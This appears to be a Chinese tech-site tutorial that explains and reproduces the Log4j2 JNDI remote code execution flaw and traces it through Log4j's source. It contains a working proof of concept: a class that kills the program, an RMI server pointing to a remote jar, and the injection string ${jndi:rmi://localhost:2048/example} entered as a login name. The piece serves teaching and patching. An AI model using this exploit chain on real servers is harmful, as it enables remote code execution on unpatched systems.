【紧急】Log4j又发新版2.17.0,只有彻底搞懂RCE漏洞原因,以不变应万变
开发 开发工具
在这里我给大家详细分析并复现一下Log4j2漏洞产生的原因,纯粹是以学习为目的。Log4j2漏洞总体来说是通过JNDI注入恶意代码来完成攻击,具体的操作方式有RMI和LDAP等。

经过一周时间的Log4j2 RCE事件的发酵,事情也变也越来越复杂和有趣,就连 Log4j 官方紧急发布了 2.15.0 版本之后没有过多久,又发声明说 2.15.0 版本也没有完全解决问题,然后进而继续发布了 2.16.0 版本。大家都以为2.16.0是最终终结版本了,没想到才过多久又爆雷,Log4j 2.17.0横空出世。

相信各位小伙伴都在加班加点熬夜紧急修复和改正Apache Log4j爆出的安全漏洞,各企业都瑟瑟发抖,连网警都通知各位站长,包括我也收到了湖南长沙高新区网警的通知。

我也紧急发布了两篇教程,给各位小伙伴支招,我之前发布的教程依然有效。

  • 【紧急】Apache Log4j任意代码执行漏洞安全风险升级修复教程
  • 【紧急】继续折腾,Log4j再发2.16.0,强烈建议升级

虽然,各位小伙伴按照教程一步一步操作能快速解决问题,但是很多小伙伴依旧有很多疑惑,不知其所以然。在这里我给大家详细分析并复现一下Log4j2漏洞产生的原因,纯粹是以学习为目的。

Log4j2漏洞总体来说是通过JNDI注入恶意代码来完成攻击,具体的操作方式有RMI和LDAP等。

JNDI介绍

1、JNDI定义

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是Java中为命名和目录服务提供接口的API,JNDI主要由两部分组成:Naming(命名)和Directory(目录),其中Naming是指将对象通过唯一标识符绑定到一个上下文Context,同时可通过唯一标识符查找获得对象,而Directory主要指将某一对象的属性绑定到Directory的上下文DirContext中,同时可通过名称获取对象的属性,同时也可以操作属性。

2、JNDI架构

Java应用程序通过JNDI API访问目录服务,而JNDI API会调用Naming Manager实例化JNDI SPI,然后通过JNDI SPI去操作命名或目录服务其如LDAP, DNS,RMI等,JNDI内部已实现了对LDAP,DNS, RMI等目录服务器的操作API。其架构图如下所示:

3、JNDI核心API

Java通过JNDI API去调用服务。例如,我们大家熟悉的odbc数据连接,就是通过JNDI的方式来调用数据源的。以下代码大家应该很熟悉:

  1. <?xml version="1.0" encoding="UTF-8"?> 
  2. <Context> 
  3.     <Resource name="jndi/person" 
  4.             auth="Container" 
  5.             type="javax.sql.DataSource" 
  6.             username="root" 
  7.             password="root" 
  8.             driverClassName="com.mysql.jdbc.Driver" 
  9.             url="jdbc:mysql://localhost:3306/test" 
  10.             maxTotal="8" 
  11.             maxIdle="4"/> 
  12. </Context> 

在Context.xml文件中我们可以定义数据库驱动,url、账号密码等关键信息,其中name这个字段的内容为自定义。下面使用InitialContext对象获取数据源

  1. Connection conn=null;  
  2. PreparedStatement ps = null
  3. ResultSet rs = null
  4. try {  
  5.   Context ctx=new InitialContext();  
  6.   Object datasourceRef=ctx.lookup("java:comp/env/jndi/person"); //引用数据源  
  7.   DataSource ds=(Datasource)datasourceRef;  
  8.   conn = ds.getConnection();  
  9.    
  10.   //省略部分代码 
  11.   ... 
  12.    
  13.   c.close();  
  14. } catch(Exception e) {  
  15.   e.printStackTrace();  
  16. } finally {  
  17.   if(conn!=null) {  
  18.     try {  
  19.       conn.close();  
  20.     } catch(SQLException e) { }  
  21.   }  

是不是很熟悉呢?JNDI的其他应用在此我就不多做介绍了,如果还不了解JNDI/RMI/LDAP等相关概念的小伙伴请自行百度一下。

攻击原理

下面我以RMI的方式为例,详细复现步骤和分析原因。解释基本攻击原理之前,我们先来看一张时序图:

1、攻击者首先发布一个RMI服务,此服务将绑定一个引用类型的RMI对象。在引用对象中指定一个远程的含有恶意代码的类。例如:包含 system.exit(1) 等类似的危险操作和恶意代码的下载地址。

2、攻击者再发布另一个恶意代码下载服务,此服务可以下载所有含有恶意代码的类。

3、攻击者利用Log4j2的漏洞注入RMI调用,例如:logger.info("日志信息 ${jndi:rmi://rmi-service:port/example}")。

4、调用RMI后将获取到引用类型的RMI远程对象,该对象将就加载恶意代码并执行。

漏洞复现

1、创建恶意代码

创建恶意代码相关类,以下代码仅供学习:

  1. package com.tom.example.log4j; 
  2.  
  3. public class HackedClassFactory { 
  4.  
  5.     public HackedClassFactory(){ 
  6.         System.out.println("程序即将终止"); 
  7.         System.exit(1); 
  8.     } 

创建HackedClassFactory类的定义,在构造函数里写入终止程序运行的恶意代码。

2、发布恶意代码

将HackedClassFactory类打成jar包,发布到HTTP服务器上,能通过简单的Get请求正常下载即可。

3、创建RMI服务

编写如下代码,并运行程序:

  1. package com.tom.example.rmi; 
  2.  
  3. import javax.naming.Context; 
  4. import javax.naming.InitialContext; 
  5. import javax.naming.Reference; 
  6. import java.rmi.registry.LocateRegistry; 
  7. import java.util.Hashtable; 
  8. import com.sun.jndi.rmi.registry.ReferenceWrapper; 
  9.  
  10. public class HackedRmiService { 
  11.      
  12.     public static void main(String[] args) { 
  13.         try { 
  14.             int port = 2048;  //设置RMI服务远程监听端口 
  15.             //创建并发布RMI服务 
  16.             LocateRegistry.createRegistry(port); 
  17.             Hashtable<String, Object> env = new Hashtable<String,Object>(); 
  18.             env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory"); 
  19.             env.put(Context.PROVIDER_URL,"rmi://127.0.0.1" + ":" + port); 
  20.             Context context = new InitialContext(env); 
  21.  
  22.  
  23.             String serviceName = "example"
  24.             String serviceClassName = "com.tom.example.log4j.HackedClassFactory"
  25.             //指定恶意代码的下载地址 
  26.             Reference refer = new Reference( 
  27.                     serviceName, 
  28.                     serviceClassName, 
  29.                     "http://127.0.0.1/example/classes.jar"); 
  30.             ReferenceWrapper wrapper = new ReferenceWrapper(refer); 
  31.  
  32.             //为RMI服务绑定一个引用类型的对象,此对象可以被远程访问 
  33.             context.bind(serviceName,wrapper); 
  34.  
  35.         }catch (Exception e){ 
  36.             e.printStackTrace(); 
  37.         } 
  38.     } 

RMI服务启动之后,即发布了监听端口为2048的RMI服务。

运行 netstat -ano | find "2048" 命令检验,得到如下结果,说明RMI服务已经正常启动,如下图:

4、注入恶意代码

下面我们利用Log4j的漏洞注入恶意代码,有已知用户登录的业务场景,小伙伴们先不管它是如何实现的,其代码如下:

  1. @RequestMapping(value="/login"
  2. public ResponseEntity login(String loginName,String loginPass){ 
  3.      
  4.     ResultMsg<?> data = memberService.login(loginName,loginPass); 
  5.  
  6.     //演示代码,省略业务逻辑,默认为登录成功 
  7.     log.info("登录成功",loginName); 
  8.  
  9.     String json = JSON.toJSONString(data); 
  10.  
  11.     return ResponseEntity 
  12.             .ok() 
  13.             .contentType(MediaType.APPLICATION_JSON) 
  14.             .body(json); 

利用Postman测试,首先正常访问能得到期望的结果,如下图所示:

用户登录成功后会正常返回token,这看上去是一个常规操作。细心的小伙发现,在登录成功之后,后台会打印一条日志且输出登录的用户名。

接下来,我做一个非常规操作。将用户名输入为${jndi:rmi://localhost:2048/example}

我们发现程序已经无法响应,再看后台日志,已经终止运行。

这里仅仅只是演示效果,我编写的恶意代码只是终止程序,如果攻击者注入的是其他恶意代码,那后果将不堪设想。

源码分析

通过以上案例还原了攻击者利用Log4j的漏洞对目标程序进行攻击的完整过程,接下来分析一下Log4j的源码从而了解根本原因。其罪魁祸首是Log4j2 的MessagePatternConverter组件中的format()方法,Log4j在记录日志的时候会间接的调用该方法,具体源码如下:

从源码中我们可以发现该方法会截取 $ 和 { } 之间的字符串,将该字符作为查找对象的条件。如果字符是 jndi:rmi 这样的协议格式则进行JNDI方式的RMI调用,从而触发原生的RMI服务调用。具体调用位置在StrSubstitutor的substitute()方法:

  1. private int substitute(LogEvent event, StringBuilder buf, int offset, int length, List<String> priorVariables) { 
  2.  
  3.    //此处省略部分代码 
  4.    ... 
  5.  
  6.     this.checkCyclicSubstitution(varName, (List)priorVariables); 
  7.     ((List)priorVariables).add(varName); 
  8.     String varValue = this.resolveVariable(event, varName, buf, startPos, pos); 
  9.     if (varValue == null) { 
  10.         varValue = varDefaultValue; 
  11.     } 
  12.      
  13.      //此处省略部分代码 
  14.     ... 
  15.      

上述代码中的resolveVariable()最终会调用InitialContext的lookup()方法:

  1. protected String resolveVariable(LogEvent event, String variableName, StringBuilder buf, int startPos, int endPos) { 
  2.     StrLookup resolver = this.getVariableResolver(); 
  3.     return resolver == null ? null : resolver.lookup(event, variableName); 

通过断点调试,我们确实发现调用了RMI服务,图下图所示:

最终恶意代码通过RMI加载完成以后,会调用javax.naming.spi.NamingManager的getObjectFactoryFromReference()方法加载恶意代码,也就是我们之前写的com.tom.example.log4j.HackedClassFactory类。首先会在尝试本地找,如果本地找不到会通过远程地址加载,也就是我们发布的下载服务,即http://127.0.0.1/example/classes.jar

加载远程代码之后,通过反射调用构造器创建攻击类的实例,而恶意代码编写在构造器中,所以在被攻击者的程序中间接执行了恶意代码。

看到这里,小伙伴们是不是有种和SQL注入如出一辙的感觉。

风险条件

该漏洞需要满足以下条件才有可能被攻击:

1、首先使用的是Logj4j2的漏洞版本,即 <= 2.14.1的版本。

2、攻击者有机会注入恶意代码,例如系统中记录的日志信息没有任何特殊过滤。

3、攻击者需要发布RMI远程服务和恶意代码下载服务。

4、被攻击者的网络可以访问到RMI服务和恶意代码下载服务,即被攻击者的服务器可以随意访问公网,或者在内网发布过类似的危险服务。

5、被攻击者在JVM中开启了RMI/LDAP等协议的truseURLCodebase属性为ture。

以上就是我对Log4j2 RCE漏洞的完整复现及根本原因分析,当然最高效的方式还是关闭Lookup相关功能。虽然,官方也在紧急修复,但涉及到软件升级存在一定风险,还有可能需要大量的重复测试工作。

责任编辑:姜华 来源: Tom弹架构

同话题下的热门内容

为什么中国没做出自己的操作系统?盘点 Ssh 客户端工具,你知道几个?阿里云EMR Remote Shuffle Service在小米的实践更快的 Maven 构建工具 Mvnd和 Gradle,哪个性能更好?新来个技术总监:谁在用isXxx形式定义布尔类型年后不用来了因无人愿意开发,Hadoop 管理工具 Apache Ambari 顶级项目即将退役软件工程师应该如何吵架?Java依赖冲突高效解决之道

编辑推荐

终于有人把Elasticsearch原理讲透了!花了一个星期,我终于把RPC框架整明白了!拜托!面试不要再问我Spring Cloud底层原理论如何下载一个在线的m3u8文件到本地成为一个mp4!中台是个什么鬼?你想知道的都在这里!
我收藏的内容
点赞
收藏

51CTO技术栈视频号